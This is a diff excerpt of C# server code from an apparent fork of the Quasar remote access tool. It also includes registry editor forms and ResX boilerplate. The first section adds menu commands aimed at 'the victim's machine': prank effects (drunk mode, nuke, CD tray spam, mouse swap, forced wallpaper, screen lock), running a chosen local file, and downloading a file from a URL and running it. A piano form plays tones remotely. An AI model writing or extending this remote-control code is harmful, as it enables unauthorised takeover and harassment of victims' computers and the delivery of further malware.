private void startDrunkModeToolStripMenuItem_Click(object sender, EventArgs e)
{
foreach (Client c in GetSelectedClients())
c.Send(new DoStartDrunkMode());
}
private void stopDrunkModeToolStripMenuItem_Click(object sender, EventArgs e)
{
foreach (Client c in GetSelectedClients())
c.Send(new DoStopDrunkMode());
}
private void startNukeToolStripMenuItem_Click(object sender, EventArgs e)
{
foreach (Client c in GetSelectedClients())
c.Send(new DoNuke());
}
private void stopNukeToolStripMenuItem_Click(object sender, EventArgs e)
{
foreach (Client c in GetSelectedClients())
c.Send(new DoStopNuke());
}
private void startEyesToolStripMenuItem_Click(object sender, EventArgs e)
{
foreach (Client c in GetSelectedClients())
c.Send(new DoStartEyes());
}
private void stopEyesToolStripMenuItem_Click(object sender, EventArgs e)
{
foreach (Client c in GetSelectedClients())
c.Send(new DoStopEyes());
}
private void lockScreenToolStripMenuItem_Click(object sender, EventArgs e)
{
foreach (Client c in GetSelectedClients())
c.Send(new DoLockScreen());
}
private void cdTrayToolStripMenuItem_Click(object sender, EventArgs e)
{
string input = Microsoft.VisualBasic.Interaction.InputBox("How many times should the CD tray eject? (120)", "CD Tray Spam", "5");
if (!int.TryParse(input, out int count) || count < 1) return;
count = Math.Min(count, 20);
foreach (Client c in GetSelectedClients())
c.Send(new DoCdTray { Count = count });
}
private void mouseSwapToolStripMenuItem_Click(object sender, EventArgs e)
{
foreach (Client c in GetSelectedClients())
c.Send(new DoMouseSwap { Swap = true });
}
private void restoreMouseToolStripMenuItem_Click(object sender, EventArgs e)
{
foreach (Client c in GetSelectedClients())
c.Send(new DoMouseSwap { Swap = false });
}
private void setWallpaperToolStripMenuItem_Click(object sender, EventArgs e)
{
Client[] clients = GetSelectedClients();
if (clients.Length == 0) return;
using (var dlg = new OpenFileDialog())
{
dlg.Title = "Choose wallpaper image";
dlg.Filter = "Images|*.jpg;*.jpeg;*.png;*.bmp;*.gif|All files|*.*";
if (dlg.ShowDialog() != DialogResult.OK) return;
byte[] data;
try { data = File.ReadAllBytes(dlg.FileName); }
catch (Exception ex)
{
MessageBox.Show("Could not read file:\n" + ex.Message, "Error",
MessageBoxButtons.OK, MessageBoxIcon.Error);
return;
}
var msg = new DoSetWallpaper { ImageData = data };
foreach (Client c in clients)
c.Send(msg);
}
}
#endregion
private void localFileToolStripMenuItem_Click(object sender, EventArgs e)
{
if (lstClients.SelectedItems.Count == 0) return;
string path = Microsoft.VisualBasic.Interaction.InputBox(
"Enter the file path on the victim's machine to execute:",
"Remote Execute - Local File", "C:\\Windows\\System32\\notepad.exe");
if (string.IsNullOrWhiteSpace(path)) return;
foreach (Client c in GetSelectedClients())
c.Send(new DoExecute { FilePath = path, IsUrl = false });
}
private void webFileToolStripMenuItem_Click(object sender, EventArgs e)
{
if (lstClients.SelectedItems.Count == 0) return;
string url = Microsoft.VisualBasic.Interaction.InputBox(
"Enter the URL of the file to download and execute on the victim's machine:",
"Remote Execute - Web File", "https://");
if (string.IsNullOrWhiteSpace(url) || url == "https://") return;
foreach (Client c in GetSelectedClients())
c.Send(new DoExecute { FilePath = url, IsUrl = true });
}
private void selectAllToolStripMenuItem_Click(object sender, EventArgs e)
{
lstClients.SelectAllItems();
}
#endregion
#region "MenuStrip"
private void closeToolStripMenuItem_Click(object sender, EventArgs e)
{
Application.Exit();
}
private void settingsToolStripMenuItem_Click(object sender, EventArgs e)
{
using (var frm = new FrmSettings(ListenServer))
{
frm.ShowDialog();
}
}
private void builderToolStripMenuItem_Click(object sender, EventArgs e)
{
#if DEBUG
MessageBox.Show("Client Builder is not available in DEBUG configuration.\nPlease build the project using RELEASE configuration.", "Not available", MessageBoxButtons.OK, MessageBoxIcon.Information);
#else
using (var frm = new FrmBuilder())
{
frm.ShowDialog();
}
#endif
}
private void aboutToolStripMenuItem_Click(object sender, EventArgs e)
{
using (var frm = new FrmAbout())
{
frm.ShowDialog();
}
}
#endregion
#region "NotifyIcon"
private void notifyIcon_MouseDoubleClick(object sender, MouseEventArgs e)
{
this.WindowState = (this.WindowState == FormWindowState.Normal)
? FormWindowState.Minimized
: FormWindowState.Normal;
this.ShowInTaskbar = (this.WindowState == FormWindowState.Normal);
}
#endregion
}
}
File diff suppressed because it is too large Load Diff
+194
View File
@@ -0,0 +1,194 @@
using Quasar.Common.Messages;
using System;
using System.Diagnostics;
using System.Drawing;
using System.Drawing.Drawing2D;
using System.Windows.Forms;
namespace Quasar.Server.Forms
{
// 2-octave piano (C4B5). Mouse-click or keyboard to play.
// Keyboard layout (standard virtual piano):
// White (lower): Z X C V B N M Q W E R T Y U
// Black (lower): S D G H J 2 3 5 6 7
public class FrmPiano : Form
{
private readonly Action<DoPlayNote> _send;
// ── Note data ────────────────────────────────────────────────────────
private static readonly string[] _names = { "C4","C#4","D4","D#4","E4","F4","F#4","G4","G#4","A4","A#4","B4","C5","C#5","D5","D#5","E5","F5","F#5","G5","G#5","A5","A#5","B5" };
private static readonly int[] _freqs = { 262, 277, 294, 311, 330, 349, 370, 392, 415, 440, 466, 494, 523, 554, 587, 622, 659, 698, 740, 784, 831, 880, 932, 988 };
private static readonly bool[] _black = { false,true,false,true,false,false,true,false,true,false,true,false, false,true,false,true,false,false,true,false,true,false,true,false };
// Computer-key mapping (index aligns with _names)
private static readonly Keys[] _keyMap =
{
Keys.Z, Keys.S, Keys.X, Keys.D, Keys.C, Keys.V, Keys.G, Keys.B, Keys.H, Keys.N, Keys.J, Keys.M,
Keys.Q, Keys.D2, Keys.W, Keys.D3, Keys.E, Keys.R, Keys.D5, Keys.T, Keys.D6, Keys.Y, Keys.D7, Keys.U
};
// ── Layout constants ─────────────────────────────────────────────────
private const int WW = 38, WH = 150, BW = 22, BH = 92, PAD = 10, TOP = 32;
private readonly Rectangle[] _rects = new Rectangle[24];
private int _pressedIdx = -1;
private readonly Stopwatch _slideThrottle = Stopwatch.StartNew();
// Cached brushes
private static readonly Color _pressedWhite = Color.FromArgb(100, 180, 255);
private static readonly Color _pressedBlack = Color.FromArgb(60, 120, 220);
private static readonly Color _bgColor = Color.FromArgb(28, 28, 28);
public FrmPiano(Action<DoPlayNote> send)
{
_send = send;
Text = "Piano";
FormBorderStyle = FormBorderStyle.FixedSingle;
MaximizeBox = false;
StartPosition = FormStartPosition.CenterScreen;
KeyPreview = true;
DoubleBuffered = true;
ClientSize = new Size(PAD * 2 + 14 * WW, TOP + WH + 20);
BackColor = _bgColor;
BuildRects();
Paint += OnPaint;
MouseDown += OnMouseDown;
MouseUp += (s, a) => { _pressedIdx = -1; Invalidate(); };
MouseMove += OnMouseMove;
KeyDown += OnKeyDown;
KeyUp += (s, a) => { _pressedIdx = -1; Invalidate(); };
}
// ── Geometry ─────────────────────────────────────────────────────────
private void BuildRects()
{
// White-key index for each note (black keys get -1)
int[] whiteIdx = new int[24];
int w = 0;
for (int i = 0; i < 24; i++)
whiteIdx[i] = _black[i] ? -1 : w++;
// White key rects
for (int i = 0; i < 24; i++)
if (!_black[i])
_rects[i] = new Rectangle(PAD + whiteIdx[i] * WW, TOP, WW, WH);
// Black key rects: centered on the gap between the two adjacent white keys
// Left white-key note index for each black note
int[] leftWhite = { 0, 2, 5, 7, 9, 12, 14, 17, 19, 21 };
int[] blackNote = { 1, 3, 6, 8, 10, 13, 15, 18, 20, 22 };
for (int b = 0; b < blackNote.Length; b++)
{
int lw = whiteIdx[leftWhite[b]];
_rects[blackNote[b]] = new Rectangle(PAD + (lw + 1) * WW - BW / 2, TOP, BW, BH);
}
}
// ── Painting ─────────────────────────────────────────────────────────
private void OnPaint(object sender, PaintEventArgs e)
{
Graphics g = e.Graphics;
g.SmoothingMode = SmoothingMode.AntiAlias;
// Header label
using (var f = new Font("Segoe UI", 9.5f, FontStyle.Bold))
g.DrawString("Piano · Z X C V B N M | Q W E R T Y U", f, Brushes.Silver, PAD, 6);
// White keys first
for (int i = 0; i < 24; i++)
{
if (_black[i]) continue;
bool pressed = _pressedIdx == i;
var r = _rects[i];
using (var br = new SolidBrush(pressed ? _pressedWhite : Color.White))
g.FillRectangle(br, r);
g.DrawRectangle(Pens.Black, r);
// Key label
using (var f = new Font("Segoe UI", 6.5f))
{
char ch = KeyChar(i);
g.DrawString(ch.ToString(), f, Brushes.DimGray,
r.X + (WW - 8) / 2, r.Bottom - 17);
}
}
// Black keys on top
for (int i = 0; i < 24; i++)
{
if (!_black[i]) continue;
bool pressed = _pressedIdx == i;
var r = _rects[i];
using (var br = new SolidBrush(pressed ? _pressedBlack : Color.FromArgb(28, 28, 28)))
g.FillRectangle(br, r);
// Subtle highlight gradient on un-pressed black key
if (!pressed)
{
using (var lgb = new LinearGradientBrush(r, Color.FromArgb(80, 80, 80), Color.FromArgb(28, 28, 28), LinearGradientMode.Horizontal))
g.FillRectangle(lgb, new Rectangle(r.X, r.Y, 5, r.Height));
}
g.DrawRectangle(Pens.Black, r);
// Key label
using (var f = new Font("Segoe UI", 5.5f))
{
char ch = KeyChar(i);
g.DrawString(ch.ToString(), f, Brushes.DimGray,
r.X + 4, r.Bottom - 14);
}
}
}
private char KeyChar(int idx)
{
var k = _keyMap[idx];
if (k >= Keys.D0 && k <= Keys.D9) return (char)('0' + (k - Keys.D0));
return (char)k; // letter keys: Keys.A = 65 = 'A'
}
// ── Input ─────────────────────────────────────────────────────────────
private void OnMouseDown(object sender, MouseEventArgs e)
{
// Black keys sit on top — test them first
for (int i = 0; i < 24; i++)
if (_black[i] && _rects[i].Contains(e.Location)) { Press(i); return; }
for (int i = 0; i < 24; i++)
if (!_black[i] && _rects[i].Contains(e.Location)) { Press(i); return; }
}
private void OnMouseMove(object sender, MouseEventArgs e)
{
if (e.Button == MouseButtons.None) return;
// Throttle slide to avoid flooding the connection
if (_slideThrottle.ElapsedMilliseconds < 80) return;
for (int i = 0; i < 24; i++)
if (_black[i] && _rects[i].Contains(e.Location)) { if (_pressedIdx != i) { _slideThrottle.Restart(); Press(i); } return; }
for (int i = 0; i < 24; i++)
if (!_black[i] && _rects[i].Contains(e.Location)) { if (_pressedIdx != i) { _slideThrottle.Restart(); Press(i); } return; }
}
private void OnKeyDown(object sender, KeyEventArgs e)
{
for (int i = 0; i < _keyMap.Length; i++)
if (_keyMap[i] == e.KeyCode) { if (_pressedIdx != i) Press(i); return; }
}
private void Press(int idx)
{
_pressedIdx = idx;
Invalidate();
_send(new DoPlayNote { Frequency = _freqs[idx], DurationMs = 1000 });
}
}
}
+143
View File
@@ -0,0 +1,143 @@
using Quasar.Server.Controls.HexEditor;
namespace Quasar.Server.Forms
{
partial class FrmRegValueEditBinary
{
/// <summary>
/// Required designer variable.
/// </summary>
private System.ComponentModel.IContainer components = null;
/// <summary>
/// Clean up any resources being used.
/// </summary>
/// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param>
protected override void Dispose(bool disposing)
{
if (disposing && (components != null))
{
components.Dispose();
}
base.Dispose(disposing);
}
#region Windows Form Designer generated code
/// <summary>
/// Required method for Designer support - do not modify
/// the contents of this method with the code editor.
/// </summary>
private void InitializeComponent()
{
this.valueNameTxtBox = new System.Windows.Forms.TextBox();
this.label1 = new System.Windows.Forms.Label();
this.label2 = new System.Windows.Forms.Label();
this.cancelButton = new System.Windows.Forms.Button();
this.okButton = new System.Windows.Forms.Button();
this.hexEditor = new HexEditor();
this.SuspendLayout();
//
// valueNameTxtBox
//
this.valueNameTxtBox.Anchor = System.Windows.Forms.AnchorStyles.Left;
this.valueNameTxtBox.Location = new System.Drawing.Point(12, 31);
this.valueNameTxtBox.Name = "valueNameTxtBox";
this.valueNameTxtBox.ReadOnly = true;
this.valueNameTxtBox.Size = new System.Drawing.Size(341, 20);
this.valueNameTxtBox.TabIndex = 3;
//
// label1
//
this.label1.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom)
| System.Windows.Forms.AnchorStyles.Left)
| System.Windows.Forms.AnchorStyles.Right)));
this.label1.AutoSize = true;
this.label1.Location = new System.Drawing.Point(9, 15);
this.label1.Name = "label1";
this.label1.Size = new System.Drawing.Size(66, 13);
this.label1.Text = "Value name:";
this.label1.TextAlign = System.Drawing.ContentAlignment.MiddleLeft;
//
// label2
//
this.label2.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom)
| System.Windows.Forms.AnchorStyles.Left)
| System.Windows.Forms.AnchorStyles.Right)));
this.label2.AutoSize = true;
this.label2.Location = new System.Drawing.Point(9, 54);
this.label2.Name = "label2";
this.label2.Size = new System.Drawing.Size(61, 13);
this.label2.Text = "Value data:";
this.label2.TextAlign = System.Drawing.ContentAlignment.MiddleLeft;
//
// cancelButton
//
this.cancelButton.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right)));
this.cancelButton.DialogResult = System.Windows.Forms.DialogResult.Cancel;
this.cancelButton.Location = new System.Drawing.Point(278, 273);
this.cancelButton.Name = "cancelButton";
this.cancelButton.Size = new System.Drawing.Size(75, 23);
this.cancelButton.TabIndex = 2;
this.cancelButton.Text = "Cancel";
this.cancelButton.UseVisualStyleBackColor = true;
//
// okButton
//
this.okButton.DialogResult = System.Windows.Forms.DialogResult.OK;
this.okButton.Location = new System.Drawing.Point(197, 273);
this.okButton.Name = "okButton";
this.okButton.Size = new System.Drawing.Size(75, 23);
this.okButton.TabIndex = 1;
this.okButton.Text = "OK";
this.okButton.UseVisualStyleBackColor = true;
this.okButton.Click += new System.EventHandler(this.okButton_Click);
//
// hexEditor
//
this.hexEditor.BackColor = System.Drawing.Color.White;
this.hexEditor.BorderColor = System.Drawing.Color.Empty;
this.hexEditor.Cursor = System.Windows.Forms.Cursors.IBeam;
this.hexEditor.EntityMargin = 8;
this.hexEditor.Font = new System.Drawing.Font("Consolas", 9.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.hexEditor.Location = new System.Drawing.Point(12, 71);
this.hexEditor.Margin = new System.Windows.Forms.Padding(0, 2, 3, 3);
this.hexEditor.Name = "hexEditor";
this.hexEditor.Size = new System.Drawing.Size(341, 196);
this.hexEditor.TabIndex = 0;
this.hexEditor.VScrollBarVisisble = true;
//
// FrmRegValueEditBinary
//
this.AcceptButton = this.okButton;
this.AutoScaleDimensions = new System.Drawing.SizeF(96F, 96F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi;
this.CancelButton = this.cancelButton;
this.ClientSize = new System.Drawing.Size(365, 304);
this.Controls.Add(this.cancelButton);
this.Controls.Add(this.hexEditor);
this.Controls.Add(this.okButton);
this.Controls.Add(this.label2);
this.Controls.Add(this.valueNameTxtBox);
this.Controls.Add(this.label1);
this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog;
this.MaximizeBox = false;
this.MinimizeBox = false;
this.Name = "FrmRegValueEditBinary";
this.ShowIcon = false;
this.Text = "Edit Binary";
this.ResumeLayout(false);
this.PerformLayout();
}
#endregion
private System.Windows.Forms.TextBox valueNameTxtBox;
private System.Windows.Forms.Label label1;
private System.Windows.Forms.Label label2;
private System.Windows.Forms.Button cancelButton;
private System.Windows.Forms.Button okButton;
private Controls.HexEditor.HexEditor hexEditor;
}
}
@@ -0,0 +1,50 @@
using System;
using System.Windows.Forms;
using Quasar.Common.Models;
using Quasar.Server.Registry;
namespace Quasar.Server.Forms
{
public partial class FrmRegValueEditBinary : Form
{
private readonly RegValueData _value;
private const string INVALID_BINARY_ERROR = "The binary value was invalid and could not be converted correctly.";
public FrmRegValueEditBinary(RegValueData value)
{
_value = value;
InitializeComponent();
this.valueNameTxtBox.Text = RegValueHelper.GetName(value.Name);
hexEditor.HexTable = value.Data;
}
private void okButton_Click(object sender, EventArgs e)
{
byte[] bytes = hexEditor.HexTable;
if (bytes != null)
{
try
{
_value.Data = bytes;
this.DialogResult = DialogResult.OK;
this.Tag = _value;
}
catch
{
ShowWarning(INVALID_BINARY_ERROR, "Warning");
this.DialogResult = DialogResult.None;
}
}
this.Close();
}
private void ShowWarning(string msg, string caption)
{
MessageBox.Show(msg, caption, MessageBoxButtons.OK, MessageBoxIcon.Warning);
}
}
}
@@ -0,0 +1,120 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" use="required" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
</root>
+140
View File
@@ -0,0 +1,140 @@
namespace Quasar.Server.Forms
{
partial class FrmRegValueEditMultiString
{
/// <summary>
/// Required designer variable.
/// </summary>
private System.ComponentModel.IContainer components = null;
/// <summary>
/// Clean up any resources being used.
/// </summary>
/// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param>
protected override void Dispose(bool disposing)
{
if (disposing && (components != null))
{
components.Dispose();
}
base.Dispose(disposing);
}
#region Windows Form Designer generated code
/// <summary>
/// Required method for Designer support - do not modify
/// the contents of this method with the code editor.
/// </summary>
private void InitializeComponent()
{
this.valueNameTxtBox = new System.Windows.Forms.TextBox();
this.label1 = new System.Windows.Forms.Label();
this.label2 = new System.Windows.Forms.Label();
this.cancelButton = new System.Windows.Forms.Button();
this.okButton = new System.Windows.Forms.Button();
this.valueDataTxtBox = new System.Windows.Forms.TextBox();
this.SuspendLayout();
//
// valueNameTxtBox
//
this.valueNameTxtBox.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom)
| System.Windows.Forms.AnchorStyles.Left)
| System.Windows.Forms.AnchorStyles.Right)));
this.valueNameTxtBox.Location = new System.Drawing.Point(15, 25);
this.valueNameTxtBox.Name = "valueNameTxtBox";
this.valueNameTxtBox.ReadOnly = true;
this.valueNameTxtBox.Size = new System.Drawing.Size(346, 20);
this.valueNameTxtBox.TabIndex = 3;
//
// label1
//
this.label1.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom)
| System.Windows.Forms.AnchorStyles.Left)
| System.Windows.Forms.AnchorStyles.Right)));
this.label1.AutoSize = true;
this.label1.Location = new System.Drawing.Point(12, 9);
this.label1.Name = "label1";
this.label1.Size = new System.Drawing.Size(66, 13);
this.label1.Text = "Value name:";
this.label1.TextAlign = System.Drawing.ContentAlignment.MiddleLeft;
//
// label2
//
this.label2.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom)
| System.Windows.Forms.AnchorStyles.Left)
| System.Windows.Forms.AnchorStyles.Right)));
this.label2.AutoSize = true;
this.label2.Location = new System.Drawing.Point(12, 53);
this.label2.Name = "label2";
this.label2.Size = new System.Drawing.Size(61, 13);
this.label2.Text = "Value data:";
this.label2.TextAlign = System.Drawing.ContentAlignment.MiddleLeft;
//
// cancelButton
//
this.cancelButton.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right)));
this.cancelButton.DialogResult = System.Windows.Forms.DialogResult.Cancel;
this.cancelButton.Location = new System.Drawing.Point(286, 330);
this.cancelButton.Name = "cancelButton";
this.cancelButton.Size = new System.Drawing.Size(75, 23);
this.cancelButton.TabIndex = 2;
this.cancelButton.Text = "Cancel";
this.cancelButton.UseVisualStyleBackColor = true;
//
// okButton
//
this.okButton.DialogResult = System.Windows.Forms.DialogResult.OK;
this.okButton.Location = new System.Drawing.Point(205, 330);
this.okButton.Name = "okButton";
this.okButton.Size = new System.Drawing.Size(75, 23);
this.okButton.TabIndex = 1;
this.okButton.Text = "OK";
this.okButton.UseVisualStyleBackColor = true;
this.okButton.Click += new System.EventHandler(this.okButton_Click);
//
// valueDataTxtBox
//
this.valueDataTxtBox.AcceptsReturn = true;
this.valueDataTxtBox.Location = new System.Drawing.Point(15, 72);
this.valueDataTxtBox.Multiline = true;
this.valueDataTxtBox.Name = "valueDataTxtBox";
this.valueDataTxtBox.ScrollBars = System.Windows.Forms.ScrollBars.Both;
this.valueDataTxtBox.Size = new System.Drawing.Size(346, 252);
this.valueDataTxtBox.TabIndex = 0;
this.valueDataTxtBox.WordWrap = false;
//
// FrmRegValueEditMultiString
//
this.AcceptButton = this.okButton;
this.AutoScaleDimensions = new System.Drawing.SizeF(96F, 96F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi;
this.CancelButton = this.cancelButton;
this.ClientSize = new System.Drawing.Size(373, 365);
this.Controls.Add(this.cancelButton);
this.Controls.Add(this.valueDataTxtBox);
this.Controls.Add(this.okButton);
this.Controls.Add(this.label2);
this.Controls.Add(this.valueNameTxtBox);
this.Controls.Add(this.label1);
this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog;
this.MaximizeBox = false;
this.MinimizeBox = false;
this.Name = "FrmRegValueEditMultiString";
this.ShowIcon = false;
this.Text = "Edit Multi-String";
this.ResumeLayout(false);
this.PerformLayout();
}
#endregion
private System.Windows.Forms.TextBox valueNameTxtBox;
private System.Windows.Forms.Label label1;
private System.Windows.Forms.Label label2;
private System.Windows.Forms.Button cancelButton;
private System.Windows.Forms.Button okButton;
private System.Windows.Forms.TextBox valueDataTxtBox;
}
}
@@ -0,0 +1,30 @@
using System;
using System.Windows.Forms;
using Quasar.Common.Models;
using Quasar.Common.Utilities;
namespace Quasar.Server.Forms
{
public partial class FrmRegValueEditMultiString : Form
{
private readonly RegValueData _value;
public FrmRegValueEditMultiString(RegValueData value)
{
_value = value;
InitializeComponent();
this.valueNameTxtBox.Text = value.Name;
this.valueDataTxtBox.Text = string.Join("\r\n", ByteConverter.ToStringArray(value.Data));
}
private void okButton_Click(object sender, EventArgs e)
{
_value.Data = ByteConverter.GetBytes(valueDataTxtBox.Text.Split(new[] {"\r\n"}, StringSplitOptions.RemoveEmptyEntries));
this.Tag = _value;
this.DialogResult = DialogResult.OK;
this.Close();
}
}
}
@@ -0,0 +1,120 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" use="required" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
